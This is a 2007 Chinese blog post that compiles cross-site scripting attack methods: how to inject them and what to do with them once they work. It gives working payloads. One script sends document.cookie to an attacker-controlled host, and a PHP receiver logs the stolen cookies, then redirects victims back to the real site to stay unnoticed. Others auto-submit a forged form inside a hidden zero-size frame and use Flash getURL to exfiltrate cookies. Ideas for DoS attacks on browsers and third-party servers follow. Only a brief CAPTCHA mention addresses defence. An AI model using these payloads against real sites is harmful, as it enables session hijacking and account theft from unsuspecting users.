• 2007/04/16跨站脚本漏洞的利用

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://www.blogbus.com/h4ck3r-logs/5055460.html

    所谓跨站脚本漏洞,小弟认为是指用户能够在网页上添加任意HTML代码并使其被浏览器执行的漏洞。小弟认为此漏洞跟跨站脚本没有必然联系,只不过此漏洞的通常利用方法都要结合另一站点(通常是可以自己控制的)上的脚本才能完成,故得名。

    本文仅收集X档案曾刊登的对此漏洞的利用方法,权当小结,并未进行创新。希望能抛砖引玉,众大虾发现有什么错漏请指正和补充。

    一、攻击代码
    1、偷取cookie的代码:
    <script>window.open("http://www.yoursite.com/recordcookie.php?"+document.cookie)</script>
    注:
    (1) http://www.yoursite.com/recordcookie.php是可以自己控制的脚本,功能是要从页面参数中获得并保存信息(对于本例的“信息”就是cookie)
    (2) 一个recordcookie.php样本:
    <?php
    $info = getenv("QUERY_STRING");
    if ($info) {
    $fp = fopen("info.txt","a");
    fwrite($fp,$info."\n");
    fclose($fp);
    }
    header("Location: http://www.originalsite.com");
    ?>
    最后一句转回原来的站点使增加隐蔽性
    (3) 如把脚本中的“window.open”替换为“location = ”,则不会打开新窗口,但变成凡进入显示包含该<script>脚本的页面都会跳转到你的recordcookie.php。如果你的recordcookie.php最后一句跳转回的地址又包含该<script>脚本,则可能会出现死循环。

    2、拒绝服务(DoS)攻击
    (1) 攻击浏览用户:写入死循环脚本,使用户浏览器死循环
    (2) 攻击其它服务器:在漏洞站写入访问目标服务器的脚本,当有大量用户浏览漏洞站时,就会耗尽目标服务器的脚本。
    注:不知道把目标服务器设定为漏洞站时会有什么后果。

    3、伪造表单并使自动提交
    先写入伪造的表单,并在后面加上如下代码使其自动提交:
    <script>this.document.forms[0].submit()</script>
    注:
    (1) 由于提交表单会使页面跳转,所以最好把伪造的表单和那段<script>防于一个0高0宽的框架中。
    (2) 由于伪造的表单无法获得并输入验证码,所以采用验证码可预防此漏洞。

    二、漏洞所在
    1、动态网页程序没有对输入数据过滤HTML标签,则直接在输入数据中嵌入攻击代码。
    2、早年IE存在img标签漏洞,如果img标签中的src指向一个文本文件,这个文本文件会被视为HTML而被IE执行。对于允许上传图片,或能使页面出现可控的img标签(例如论坛中有时支持诸如的标签以允许贴图),则可利用此漏洞。使受控的img标签的src属性指向一个自己做的“图片”,当然这个“图片”其实是文本文件,其中是攻击代码。例如在论坛中发一个帖子,内容是,然后用记事本写一段攻击代码,并另存为css.gif(注意扩展名是gif),上传到yoursite.com上,浏览这个帖子的人就会中招。但是打了补丁的IE恐怕不会受此影响。
    3、利用flash,只要能在页面中嵌入可控的flash,然后利用flash的getURL函数。例如在论坛发个帖子,内容是[flash]http://www.yoursite.com/css.swf[/flash],然后做一个flash,动作中要加上“getURL("javascript:攻击代码");”,例如获取cookie的代码是getURL("javascript:window.open('http://www.yoursite.com/recordcookie.php?'+document.cookie)");,保存并上传到www.yoursite.com/css.swf,当然recordcookie.php也要准备好才能工作。
    分享到: